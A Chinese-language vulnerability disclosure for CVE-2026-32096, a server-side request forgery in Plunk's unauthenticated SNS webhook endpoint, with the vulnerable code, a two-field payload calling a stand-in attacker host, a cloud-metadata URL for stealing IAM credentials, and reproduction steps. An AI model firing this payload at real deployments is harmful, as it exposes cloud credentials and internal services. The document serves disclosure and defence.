CVE-2026-32096

通过 useplunk/plunk 中未经验证的 AWS SNS SubscriptionConfirmation 实现 SSRF

概述

Plunk API 端点 POST /webhooks/sns 会获取攻击者提供的 SubscribeURL，但未验证 AWS SNS 加密签名。未认证的攻击者可强制服务器发起任意出站 HTTP 请求（SSRF）。

漏洞代码

// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
  const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — 无签名验证
  if (confirmResponse.ok) {
    return res.status(200).json({ success: true, message: 'Subscription confirmed' });
  }
}

最小载荷仅需两个字段：

{
  "Type": "SubscriptionConfirmation",
  "SubscribeURL": "http://attacker.example.com/callback"
}

影响

• AWS EC2/ECS：通过 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 窃取 IAM 凭据
• 内部服务：访问数据库、Redis、Kubernetes API 或其他未暴露到互联网的服务
• 端口扫描：通过基于时间和错误的响应枚举内部端口

复现步骤

前提条件

• Docker 和 Docker Compose
• Python 3

步骤

1. 启动 Plunk 测试环境：

   root@kitploit:~

   docker compose up -d
   

2. 启动 SSRF 回调监听器：

   root@kitploit:~

   python3 listener.py
   

3. 运行漏洞利用脚本：

   root@kitploit:~

   chmod +x exploit.sh
   ./exploit.sh
   

4. 观察 listener.py 输出中的回调命中，确认服务器获取了攻击者控制的 URL。

文件

参考

• AWS SNS：验证 Amazon SNS 消息的签名
• OWASP SSRF 防护速查表